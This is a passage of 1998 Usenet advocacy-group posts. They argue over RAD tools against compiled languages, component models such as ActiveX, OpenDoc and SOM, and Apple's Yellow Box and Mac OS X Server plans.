served quite well by a RAD/interpreted development environment (though
I'd choose Smalltalk over VB any day); unfortunately, various factors
have dictated the use of Visual C++.
> > And intelligence requires more than making broad generalizations.
> Well, there you go. You have to insult me directly. Is this because you
> need too?
You took that as an insult? I took it as a statement of fact. Making
broad generalizations is stupid, and if you do so, then, honestly,
no other conclusion can be drawn -- you shouldn't feel insulted by a
statement of truth. You should know better than to make generalizations
about the utility of a given process. Apparently you have spent your
career in a very narrow segment of the software industry; both RAD and
intepreted langauges have been put to superb use, _where appropriate_,
and _in the hands of competent developers_.
I can tell you that switching to an intepreted language would have had
virtually no impact on the quality of our company's product at the level
that we choose to control it, and would likely have significantly improved
our development/evaluation/feedback cycle.
From: sdm7g@elvis.med.Virginia.EDU (Steven D. Majewski)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 7 Dec 1998 18:23:35 GMT
Organization: University of Virginia
Message-ID: <74h6f7$q5h$1@murdoch.acc.Virginia.EDU>
References: <74cjfv$ss3$1@samsara0.mindspring.com>
In article <74cjfv$ss3$1@samsara0.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
>Part of the advantage of the Microsoft platform for developers is the
>component model, which used to be called OLE and then OLE 2 and now which
>is called ActiveX.
>
>ActiveX is basically reuse of binary software components. There are a
>number of types of ActiveX components, from remote application invocation
>(ActiveX client and server), external procedure calls (ActiveX dlls) and
>finally ActiveX controls, which are literally parts of applications that
>are compiled binary objects that perform functions like textboxes, rtf
>textboxes, data access controls tying an application to odbc or other
>database drivers, video playback windows, and all kinds of other objects
>useful in application development. I believe in the old MacOS similar
>functions were provided by XFCNs and XCMDs with Hypercard, at least.
>
The Mac equivalent of ActiveX was OpenDoc -- XFCNs and XCMDs are a
lower level thing -- basically a Foreign Function Interface for
Hypercard plus some dynamic loading features before Mac has DLLs --
pretty ancient Mac technology, but still quite useful and supported.
COM and SOM are both also low level plumbing, but a bit more modern --
basically some conventions and run-time to make DLLs more object
oriented and to work cross-language and cross-compiler.
ActiveX and OpenDoc both add a document and control framework and lots
of other conventions on top of COM or SOM plumbing.
Not having done any NextStep or Rhapsody development, I don't know
how their architecture layers -- you might look at GnuStep (still
under development) for an OpenSource equivalent.
The Mozilla code also includes a portable implementation of COM or
something like it. I've been meaning to take a look at their
new Layout engine and Plugin architecture. See http://www.mozilla.org/
Now than IBM and Apple have ceased active development of OpenDoc, IBM
has released the source code. I haven't deciphered their license
agreement yet -- I don't think it's quite "OpenSource" , and I don't
know if that includes SOM so that it could be ported to Linux -- but
considering IBM's new warmness to OpenSource, they might consider
OpenSource and Linux as a way to give that technology a second chance.
( I was told long ago when asking similar questions from CILabs, that
any CORBA ORB should work as sufficient plumbing for OpenDoc, but
that removing SOM and inserting something else would not be trivial.)
[ It's always difficult to tell with big companies like IBM, MS & Apple,
exactly how dead some of these "abandonded" technologies are -- they
all have a history or renaming and relaunching old technologies --
usually with some re-engineering but usually much more re-management.
Some of the new solutions on IBM's web page sound amazingly like
relabeled and remarketed SOM/DSOM -- with the CORBA name liberally
sprinkled around. ]
Below is the reply I got from IBM with URLs for OpenDoc & SOM.
---| Steven D. Majewski (804-982-0831) <sdm7g@Virginia.EDU> |---
---| Department of Molecular Physiology and Biological Physics |---
---| University of Virginia Health Sciences Center |---
---| P.O. Box 10011 Charlottesville, VA 22906-0011 |---
From askibm@vnet.ibm.com Mon Dec 7 12:58:42 1998
Date: Tue, 24 Nov 98 18:44:17 MST
From: askibm@vnet.ibm.com
To: sdm7g@virginia.edu
To......: sdm7g@Virginia.EDU
Subject.: OPENDOC
Dear Mr. Majewski,
Thank you for contacting IBM.
For complete information, downloads and technical documents
on OpenDoc: Freeware for C++ Developers, please visit the
following web site:
http://www.software.ibm.com/ad/opendoc/
Information on System Object Model (SOM) is available by visiting:
http://www.austin.ibm.com/resource/aix_resource/Pubs/redbooks/htmlbooks/
gg244357.00/4357fm.html
Thank you for using the IBM Electronic Response System.
------------------------------------------------------------------------
In Clemens Szyperski's book "Component software : beyond object-oriented
programming", he stated that IBM had released the source code to OpenDoc when
they stopped active development. Is this true ? I was unable to find anything
on
IBM's web site -- an altavista query led me to a URL for Club OpenDoc, which
seemed to be redirected to the main IBM software
web pages.
What is the current status of OpenDoc ?
What is the current status of SOM ?
------------------------------------------------------------------------
Message-ID: <366C14A2.183CC45@nstar.net>
Date: Mon, 07 Dec 1998 11:47:14 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> To satisfy Apple's investors, who have every right to demand that Apple spend
> it's resources (ie, their money) wisely. Privately held companies have more
> freedom to do something just for the heck of it.
Chuck, you could probably tell me how much such an engineer would make.
Can you estimate the cost of two man-years of work from a senior
engineer with ten years of experience? Now add in the cost of paying and
supporting the MBA intern. Add in machines, development tools, and
administrative overhead.
Then tell me whether that amount of money would ever make it to the
minutes of a shareholder's meeting. Yes? No? Somehow I rather doubt it.
Did the hiring of Randy Chapman to work at Microsoft make the
shareholder's meeting?
> The guy's manager has to justify why this engineer is going to be spending the
> next two years working on a YB Linux port, rather than on something else.
Of course. So what?
> And place banner ads with C|Net for the "NEWS.COM pundits" (as well as on
> other portal sites), and create those ads, and the marketing slogan, and the
> press releases, and a web site for the product.
>
> And, as someone else pointed out, clever sales people might just try to
> encourage sales of their other products (the server side) while promoting the
> freely available client stuff.
Again, so what? You're adding requirements onto the projects in order to
make it seem larger. Nothing new, budgets have been inflated by
engineers for many years. I still don't understand how your new
requirements reflect on the original feasability of a Linux port.
> If it isn't a supported product, then there are a lot of businesses who won't
> touch it with the proverbial ten foot pole. Don't even bother claiming
> otherwise-- there's already too much stupidity Apple has to deal with.
Right. Like Linux Netscape Navigator, for instance? Or Linux itself?
Moreover, the target for the Linux version wouldn't necessarily be
enterprises. The MBA intern should be familiar with that, at least.
After all, Apple's doing such a poor job positioning itself in
enterprises, it shouldn't particularly matter. The Linux port would open
up the YB environment to many thousands of developers from a
multiplicity of backgrounds. It would increase visibility among
engineers, improve Apple's standing in the Linux community, increase
accessibility to users on low budgets, polish the cross-platform image
of YB, impress educational customers, and bring in volunteer
'scratch-an-itch' development efforts (the kind that wrote
WorldWideWeb.app and Stuart, for instance). Have your MBA intern do the
research to see if I'm right.
> For example, WebObjects was given license keys for no other reason than the
> fact that some clients refused to purchase software without a licensing
> mechanism. For a long, long time, the licensing mechanism pretty much worked
> by "if the first three letters are XXX, it's a developer license-- if they're
> YYY it's a deployment license". WOF now has more info bound, such as an
> expiration date, a validity check (presumably a checksum of some kind), and
> more sophisticated capability descriptions.
That's all very informative. Perhaps some customers would refuse to use
Linux YB without some such formality. In that case, Apple hasn't lost
anything; they've only gained customers who *don't* have such
restrictions. In which situation one would expect Apple to invest the
tiny amount of effort needed to reach those customers, but it's not
required (as you seem to imply). I'm assuming you recognize the
difference between the customers you describe and the customers
ostensibly targeted by a Linux port...
> > Huh? This is a port of YB to Linux. What will they run if not Linux?
>
> Read the question again.
Ahhh! You mean to say, "How many people will use YB/Linux instead of Mac
OS X Server for Intel because they insist on running Linux".
Reread the answer. If they "insist" on running Linux, they wouldn't run
Mac OS X Server anyway, now would they? Not sure what you're trying to
say. No matter what, Apple *gains* customers.
MJP
From: asmith@nordnet.fr (Aaron Smith)
Newsgroups: comp.sys.next.advocacy
Subject: Yet Another Open Source YB Conspiracy Theory (tm)
Date: Mon, 7 Dec 1998 19:01:56 +0100
Organization: NordNet, l'Internet des gens du Nord
Message-ID: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr>
User-Agent: MacSOUP/2.4b3
Reading some of these posts, something hit me...
Several people have mentioned that they don't buy the "We're having
licensing problems" argument from Apple to explain a late OSX "Server"
release. Everyone *knew* we were going to have to pay for the runtimes,
they knew about it when they bought Next, etc. And if it is a question
of $20 per deployment, that's not going to kill developers in the next
9-12 months (until a non-DPS version of YB is ready with OSX). Paying
$149 for Mesa instead of $129, for example, is not that big of a deal,
especially for the kind of people that are probably going to try to
switch immediately to OSX "Server."
So why the "licensing hassles?" What if "licensing" was more than just a
dollars-per-deployment issue...
--
------------------------------------------------------
Aaron Smith
Dunkerque, France
------------------------------------------------------
From: novitk <nospam~novitk@pobox.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 14:12:44 -0500
Message-ID: <366C28AC.D08DCDB5@pobox.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <74ddfd$slo$1@nnrp1.dejanews.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com>
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Mark Woodward wrote:
> Yes, I did attack RAD as a whole, and I mean it. RAD is a very good idea
> for small "trivial" applications. The whole process breaks down on
> non-trivial applications. I've seen it happen over and over. Trivial, of
> course is a moving scale, but, a convenient definition is more than one
> person day.
RAD is a bad idea when implemented or used improperly. I think VB is
a bad thing for the industry as much as you do, but to dismiss a product
like say Delphi just because its also RAD is groundless.
> I "real" development tool provides human readable relationship between
> written code and compiled code. Interpreters do not count because the
> engine may change below you. I have written software for Banks. They
> audit everything. As a result, one must audit critical mathmatic formula
> within high precision portions of the code when changing to a new
> compiler. Installing a new application with a slightly newer (minor
> version change, not major version change) runtime could very well change
> the numeric calculations produced in a financial simulation and cause a
> debit or credit on the same data.
>
> Again, if you can't double check you tools, they are not "real" tools.
> They are trivial inteface builders, you can't base an important
> application on them.
Delphi is not an interface builder. It is a tightly coupled environment
whereall the bricks: compiler, components, editor serve the purpose of producing
the fastest possible result without sacrificing clean program design
(full Java level OOP in D4), performance (fully native C/C++ grade compiler),
manageability (units and smart linking) or power (built-in assembler).
> > Will any compiled language do? Why or why not?
> I guess any compiled language will do, as long as ALL the source to the
> run time libraries are available, and the intermediate code (c, asm,
> etc) can be compiled/assembled to produce the same object module.
As is in D4.....No amount of VI-lovers are going to convince anybody who used
Delphi, that going back to isolated tools is more productive than
having an integrated set. If only Inprise would figure the way to find money
and port that thing to Linux...
From: josborn@depauw.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: nntp server
Date: Mon, 07 Dec 1998 18:17:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74h647$uuk$1@nnrp1.dejanews.com>
Is there a public nntp server out there in the world that I can use news
grazer with; dejanews is driving me crazy.
Jon
--
The cure for ignorance is information.
The cure for dumbness is a voice.
The cure for stupidity is death.
Go and cure what ails you.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 7 Dec 1998 13:31:40 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74h6uc$pes$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <366BF65E.6437@earthling.net>
NNTP-Posting-Date: 7 Dec 1998 18:32:05 GMT
In article <366BF65E.6437@earthling.net>, gorilla@earthling.net wrote:
> I would differ here; I think RAD is a good thing especially for large
> projects. However I have not yet seen a RAD *tool* that didn't start to
> break down just above the trivial level.
Interface Builder isn't perfect, but IMHO it scales fairly well to
non-trivial projects. I'm just guessing, but I'd expect that some of
the Smalltalk tools out there might do better. What tools have you
evaluated?
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Mon, 07 Dec 1998 14:39:57 -0500
Organization: Mohawk Software
Message-ID: <366C2F0D.7D2F461E@mohawksoft.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <74h6ov$pe2$1@crib.corepower.com>
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Nathan Urban wrote:
>
> In article <366BF336.B17A3872@mohawksoft.com>, Mark Woodward <markw@mohawksoft.com> wrote:
>
> > Yes, I did attack RAD as a whole, and I mean it. RAD is a very good idea
> > for small "trivial" applications. The whole process breaks down on
> > non-trivial applications. I've seen it happen over and over.
>
> Yeah, because you were watching incompetent programmers. RAD has been
> put to good use in a number of nontrivial MCCAs by _competent programmers_
> using enterprise-level tools (e.g., OpenStep). Lots of people think RAD
> means that they can get away with not designing their apps, and use it
> inappropriately. RAD is not a replacement for careful design.
I think we have worked on different kinds of applications. The ones I
have done are highly calculation/consistency oriented. There is a very
different attitude with numbers are simple summation and the bulk of
work is data manipulation. Things like cadd rendering, interest rate
simulation, motor control, position control, and applications like that
can be sensitive to a .00001 difference in a long series of
calculations.
Secondly, if you are telling me that decade developers (Guys that have
been at it for over 10 years), that have done everything from ada to
xenix are not competent. I don't think the word "competent" means what
you think it means.
>
> Problems arise when people try to use their prototypes as the finished
> product, which is _not_ what RAD is for. RAD is a tool, and like any
> tool it can be misused. That does not imply that it can't be put to
> very good use when in good hands.
Again, this is exactly the point. I don't know where you work. Everyone
ships the prototype! No software company can afford to write a quick
demonstration of technology and then write it correctly. I know no
management structure that allows this. Every company I have been in, and
all the developers I know have had the same experience. Besides, if you
can't capitalize on the time used to make the prototype, then you have
wasted your money.
>
> > Trivial, of
> > course is a moving scale, but, a convenient definition is more than one
> > person day.
>
> <rolls eyes> If you think that RAD is counterproductive for projects
> involving over one person-day of development time, then you must be
> surrounded by incompetent programmers indeed.
>
Again, I have worked with some of the best and brightest in this stupid
industry. They are not incompetent. They, and I, are experienced. Anyone
that has had real experience will tell you many of the tools that make
programming "easier" actually make the development cycle longer.
VB is fine as long as what you want to do is simple. The minute
marketing says "can it do ...." You will be forced down a road that VB
was not meant to travel. You will find paradigms that would have been a
piece of cake in C/C++ a headache and a half in VB because there are no
provisions for it. Try hiding the cursor in a VB window under NT with
ShowCursor(FALSE); Good luck!
> > I "real" development tool provides human readable relationship between
> > written code and compiled code. Interpreters do not count because the
> > engine may change below you. I have written software for Banks.
>
> Gee, I wonder why Smalltalk's largest market is to banks and other
> services in the financial industry. I'm sure those big Smalltalk apps
> must be dropping like flies from having their runtime libraries change
> underneath them.
>
> > Again, if you can't double check you tools, they are not "real" tools.
> > They are trivial inteface builders, you can't base an important
> > application on them.
>
> Yeah, whatever. The fact of the matter is that huge mission-critical
> applications _have_ been developed using RAD and interpreted languages,
> and many of them work quite well.
>
> Your definition of "real" tools is also quite presumptuous.
> Most applications are not developed to anywhere near the rigorous
> quality-control you cited, _regardless_ of whether or not they were
> developed in a compiled or interpreted language. To most developers,
> it is quite simply a non-issue.
Well, it is attitudes like this over the years that have made the whole
Y2K mess we are in now.
>
> The software my company develops is not nearly as "mission critical" as
> a bank system. We _consciously_ make tradeoffs on quality -- rather than
> rigorously validating all aspects of our app down to the assembly level,
> we choose to spend more time developing new features. Our users would
> rather live with a few bugs if it means that they can get their features
> faster.
No one needs to validate to the assembly level every line of code. But
there are times when you have to because the tool is not producing the
right code. RAD tools are not perfect, trusting them absolutely is a
stupid idea.
> But in truth, having the runtime libraries change underneath us (like
> all the .dll's we link against) has never been the source of any of our
> errors at all. We did have two compiler bugs crop up when we switched
> to a new version of the compiler, though, which were detected and worked
> around _without_ examining the output of the compiler. When fixing bugs,
> the number of times we've needed to drop down to the assembly level to
> verify the output of the complier has been _zero_.
All I can say is you have never used MSC 6.0, MSC 7.0, MSVC 4.0, or have
never noticed the bugs.
>
> None of this means that we ignore quality control, just that the level of
> quality you claim is impossible with interpreted langauges (a debatable
> issue) isn't even relevant to us. I think our needs would have been
> served quite well by a RAD/interpreted development environment (though
> I'd choose Smalltalk over VB any day); unfortunately, various factors
> have dictated the use of Visual C++.
>
> > > And intelligence requires more than making broad generalizations.
>
> > Well, there you go. You have to insult me directly. Is this because you
> > need too?
>
> You took that as an insult? I took it as a statement of fact. Making
> broad generalizations is stupid, and if you do so, then, honestly,
> no other conclusion can be drawn -- you shouldn't feel insulted by a
> statement of truth. You should know better than to make generalizations
> about the utility of a given process. Apparently you have spent your
> career in a very narrow segment of the software industry; both RAD and
> intepreted langauges have been put to superb use, _where appropriate_,
> and _in the hands of competent developers_.
Broad generalizations are very important to understanding anything. Many
times one must consider a very large group of variables. This is very
similar to chaos theory. An infinite level of detail is not required for
a discussion about a general topic. Doing so would introduce too many
variables and thus render the problem unsolvable. One must consider the
general problem, then break it up to smaller problems or behaviors. The
smaller problems or behaviors are then assigned probability and results.
Once one is satisfied that the general problem is understood, then one
proceeds to the next level of problems. It is just like software design.
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
From: uli@tallowcross.uni-frankfurt.de (Uli Zappe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 4 Dec 1998 17:44:00 GMT
Organization: NEXTTOYOU
Message-ID: <749710$17d$1@tallowcross.uni-frankfurt.de>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
NNTP-Posting-Date: 4 Dec 1998 17:44:00 GMT
a1050pi@yahoo.com (Sheldon Gartner) wrote:
> I guess what I want is Linux to have a newbie friendly GUI so M$ can
> drop dead next year. 8-)
Then what you want is GNUstep! :-)
Bye
Uli
--
_____________________________________________________________________
Uli Zappe E-Mail: uli@tallowcross.uni-frankfurt.de
(NeXTMail,Mime,ASCII) PGP on request
Lorscher Strasse 5 WWW: -
D-60489 Frankfurt Fon: +49 (69) 9784 0007
Germany Fax: +49 (69) 9784 0042
_____________________________________________________________________
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 7 Dec 1998 16:13:12 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74hgd8$q3d$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366BF336.B17A3872@mohawksoft.com> <74h6ov$pe2$1@crib.corepower.com> <366C2F0D.7D2F461E@mohawksoft.com>
NNTP-Posting-Date: 7 Dec 1998 21:14:21 GMT
In article <366C2F0D.7D2F461E@mohawksoft.com>, Mark Woodward <markw@mohawksoft.com> wrote:
> Nathan Urban wrote:
> > In article <366BF336.B17A3872@mohawksoft.com>, Mark Woodward <markw@mohawksoft.com> wrote:
> > > Yes, I did attack RAD as a whole, and I mean it. RAD is a very good idea
> > > for small "trivial" applications. The whole process breaks down on
> > > non-trivial applications. I've seen it happen over and over.
> > Yeah, because you were watching incompetent programmers. RAD has been
> > put to good use in a number of nontrivial MCCAs by _competent programmers_
> > using enterprise-level tools (e.g., OpenStep). Lots of people think RAD
> > means that they can get away with not designing their apps, and use it
> > inappropriately. RAD is not a replacement for careful design.
> I think we have worked on different kinds of applications.
That appears to be the case, but it doesn't change the fact that RAD has
been succesfully used in nontrivial apps. If RAD failures you cited were
from competent programmers, as you have claimed, then it is likely that
they were applying RAD to a problem domain that RAD is unsuitable for.
And that domain certainly not encompass "all nontrivial applications".
> > Problems arise when people try to use their prototypes as the finished
> > product, which is _not_ what RAD is for. RAD is a tool, and like any
> > tool it can be misused. That does not imply that it can't be put to
> > very good use when in good hands.
> Again, this is exactly the point. I don't know where you work. Everyone
> ships the prototype! No software company can afford to write a quick
> demonstration of technology and then write it correctly.
Not true. We've thrown prototypes away before. Our prototypes might
not be as functional as what you think of as "prototypes"; they're more
designed to experiment around with different HCI issues than the core
business logic. Anyway, there's a world of difference between using RAD
to produce a shoddy prototype with no design, and using RAD to produce
a quality prototype that you can extend.
> > > Trivial, of
> > > course is a moving scale, but, a convenient definition is more than one
> > > person day.
> > <rolls eyes> If you think that RAD is counterproductive for projects
> > involving over one person-day of development time, then you must be
> > surrounded by incompetent programmers indeed.
> Again, I have worked with some of the best and brightest in this stupid
> industry. They are not incompetent. They, and I, are experienced.
I'm sorry, but if they can't make RAD useful for projects over one
person-day, they're either incompetent or are applying RAD to the wrong
problems. You seem to be equating RAD with some shoddy hacked-up VB app
produced from a deathmarch or something. There are a lot of developers
using environments like OpenStep/IB, Smalltalk, etc., who use successfully
use RAD all the time for nontrivial projects.
> Anyone that has had real experience will tell you many of the tools that make
> programming "easier" actually make the development cycle longer.
And many of them don't.
> VB is fine as long as what you want to do is simple.
I don't care about VB. VB is far from my choice of development
environment and I will agree that is is generally not appropriate for
large projects (though I haven't seen the most recent versions, so I
will reserve judgement). However, VB is not the only RAD tool available.
> > > I "real" development tool provides human readable relationship between
> > > written code and compiled code. Interpreters do not count because the
> > > engine may change below you. I have written software for Banks.
> > Gee, I wonder why Smalltalk's largest market is to banks and other
> > services in the financial industry. I'm sure those big Smalltalk apps
> > must be dropping like flies from having their runtime libraries change
> > underneath them.
> > [...]
> > Yeah, whatever. The fact of the matter is that huge mission-critical
> > applications _have_ been developed using RAD and interpreted languages,
> > and many of them work quite well.
No comment?
> > Your definition of "real" tools is also quite presumptuous.
> > Most applications are not developed to anywhere near the rigorous
> > quality-control you cited, _regardless_ of whether or not they were
> > developed in a compiled or interpreted language. To most developers,
> > it is quite simply a non-issue.
> Well, it is attitudes like this over the years that have made the whole
> Y2K mess we are in now.
Nice attempt to take a cheap shot at the quality control policies of
others, but your comment is entirely irrelevant. The ability to inspect
compiler-generated code directly, which you advocated as necessary in a
"real" tool and was the subject of discussion, is not what caused the
Y2K mess.
Furthermore, despite your claims of experience, you seem to refuse to
grasp the reality of the software development process. Sure, you can
sit around formally verifying your code in Z or spend 5 years in code
review before you ship your app, but for most apps that simply isn't
necessary. That's an exaggeration, of course, but the point is that
there are tradeoffs in how many resources you devote to development
vs. how many you devote to quality assurance. For many applications,
the ability to inspect compiler-generated code simply is not particularly
important and does not outweight advantages of other systems such as
interpreted languages.
> > The software my company develops is not nearly as "mission critical" as
> > a bank system. We _consciously_ make tradeoffs on quality -- rather than
> > rigorously validating all aspects of our app down to the assembly level,
> > we choose to spend more time developing new features. Our users would
> > rather live with a few bugs if it means that they can get their features
> > faster.
> No one needs to validate to the assembly level every line of code. But
> there are times when you have to because the tool is not producing the
> right code.
Of what use is that? If you're down to inspecting the code because you
know the tool is producing the wrong code, then all that tells you is
"yup, their library ain't working and here's why". But you already knew
that it wasn't working, and you don't usually need the disassembly to
produce a workaround.
> RAD tools are not perfect, trusting them absolutely is a stupid idea.
Kind of like trusting a compiler absolutely? You're missing the point.
The point is not that RAD tools can't have flaws; they can, just like
compilers can. The issue is whether or not they prevent you from
detecting and fixing problems, and they generally do not.
> > But in truth, having the runtime libraries change underneath us (like
> > all the .dll's we link against) has never been the source of any of our
> > errors at all. We did have two compiler bugs crop up when we switched
> > to a new version of the compiler, though, which were detected and worked
> > around _without_ examining the output of the compiler. When fixing bugs,
> > the number of times we've needed to drop down to the assembly level to
> > verify the output of the complier has been _zero_.
> All I can say is you have never used MSC 6.0, MSC 7.0, MSVC 4.0, or have
> never noticed the bugs.
I didn't say that the compiler or runtime didn't have bugs. In fact,
I said that the compiler did have bugs, and that we have not experienced
runtime bugs. What I said was that none of the bugs have affected _us_.
That might mean that (a) the bugs affect our code but that code has
not been exercised in a way that triggers them, or (b) our code is not
affected by the bugs at all.
In any case, you _still_ miss the point, which was: the fact that we are
using a compiled language instead of an interpreted one has provided _no_
advantage to us in terms of quality control. We have had no reported bugs
that were caused by runtime changes. We have had a few reported bugs
that were caused by compiler upgrades, and those bugs were detected and
solved in ways that would have worked had we been using an interpreted
language with interpreter bugs; at no point did we need to inspect the
output of the compiler.
Furthermore, you also miss the point that even compiled programs can
use external libraries of code which can change and produce bugs, and as
soon as you utilize one over which you have no control, using a compiled
language over an interpreted one loses what little advantage it might have
had under your arguments. Not everyone has the luxury of having control
over the versioning and source of all of their external dependencies.
You argue that someone could come in and replace a runtime for an
interpreted language and screw up your app. Well, what happens when
someone goes in and replaces, say, the MFC .dll? Same deal.
> > > > And intelligence requires more than making broad generalizations.
> > > Well, there you go. You have to insult me directly. Is this because you
> > > need too?
> > You took that as an insult? I took it as a statement of fact. Making
> > broad generalizations is stupid, and if you do so, then, honestly,
> > no other conclusion can be drawn -- you shouldn't feel insulted by a
> > statement of truth. You should know better than to make generalizations
> > about the utility of a given process. Apparently you have spent your
> > career in a very narrow segment of the software industry; both RAD and
> > intepreted langauges have been put to superb use, _where appropriate_,
> > and _in the hands of competent developers_.
> Broad generalizations are very important to understanding anything.
Only if one is intelligent enough to determine the circumstances under
which they might reasonably be expected to apply. You obviously have
no experience with circumstances under which RAD is useful, yet you feel
free to conclude that it's not a "real tool" or that it will fail for any
app that involves over a man-day of effort -- which is patently false and
disproven by case example. And you persist in arguing that making such
generalizations is not stupid? Have you simply reached a point where
your ego will not allow you to admit an error? There is more to the
world than apps that "require a high degree of calculation/consistency",
or whatever it is you do. Quite a few of the OpenStep consultants still
around today have built solid businesses around their success at employing
the RAD tools you so ignorantly deride.
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 7 Dec 1998 11:55:36 -0800
Organization: Institute of Lawsonomy
Message-ID: <74hbro$j69$1@52-a-usw.rb1.blv.nwnexus.net>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <749vtr$7b3@news1.panix.com> <FIiROLCWddLd-pn2-GVdDqqLGe7qi@localhost> <74fbec$ouk@news1.panix.com>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
In article <74fbec$ouk@news1.panix.com>, Sal Denaro <sal@panix.com> wrote:
>> If Apple keeps YB fully
>>proprietary chances are that it will never make a dent in the market
>>and Apple is left with a New Niche to live in.
>
>Just like Windows couldn't make a dent because it is fully proprietary?
Windows was pre-Linux. As a developer, I now look at YB and BeOS and
anything else new that wants my attention, and I say "no". It is so much
nicer to develop for an open source platform, that I won't work on
closed source platforms except Windows and MacOS. Those two get
grandfathered in because they have a big existing market presence, and
I've already put in the years of effort it takes to become fully productive
with such closed source system (e.g., they long hours disassembling
Windows or MacOS to discover work arounds to OS bugs, or find out how things
really work, as opposed to what the documentation says, etc.), and I'm tired
of that. With a system like Linux, if I think I've found an OS bug, or if
I find the documentation inadequate, I just look at the code. Or, if I'm
having trouble debugging a particular program, I can make a custom kernel
with debugging hooks in it to help debug my app.
I now feel that using a close source OS for development is a lot like using
a CPU whose instruction set is secret. It works, but when such a fundamental
part of the environment of your program is hidden, you are massively hindered.
--Tim Smith
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Mon, 07 Dec 1998 15:38:24 -0500
Organization: Styx DTP
Sender: monner@dial01p48.ottawa.storm.ca
Message-ID: <366C3CBB.E3D85B73@tone.ca>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 7 Dec 1998 20:39:18 GMT
George Graves wrote:
>
> I've often wondered what the point of releasing OS-X Server actually is.
> Apple says that there is never going to be anything beyond v.1.0, and that
> OSX-Server won't have Carbon support, so basically what you get is an
> OS which will run Yellow-Box apps, or current MacOS apps (in a container)
> along with Java apps. Doesn't seem very compelling to me. There aren't
> that many Yellow-Box apps (and won't be despite the fact that the Yellow
> Box is a far better cross-platform development environment than is Java)
> and the MacOS that they are saying OS-X server will ship with is OS8.1.
> If Apple did decide to shelve it and go directly for the gold, it wouldn't
> surprise me, and its probably NOT a bad move.
>
> George Graves
As is frequently pointed out here :WebObjects 4 is a hot product that
currently allows development only under NT on Intel hardware. Apple is not
likely to allow this to remain the case until MacOSX is released late next
year.
Michael Monner
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Mon, 07 Dec 1998 15:48:29 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-0712981548290001@pelli.pathology.pitt.edu>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <366C3CBB.E3D85B73@tone.ca>
In article <366C3CBB.E3D85B73@tone.ca>, michael@tone.ca wrote:
> As is frequently pointed out here :WebObjects 4 is a hot product that
> currently allows development only under NT on Intel hardware. Apple is not
> likely to allow this to remain the case until MacOSX is released late next
> year.
You mean early in 99....like MacWorld 99 in SF
--
Peter
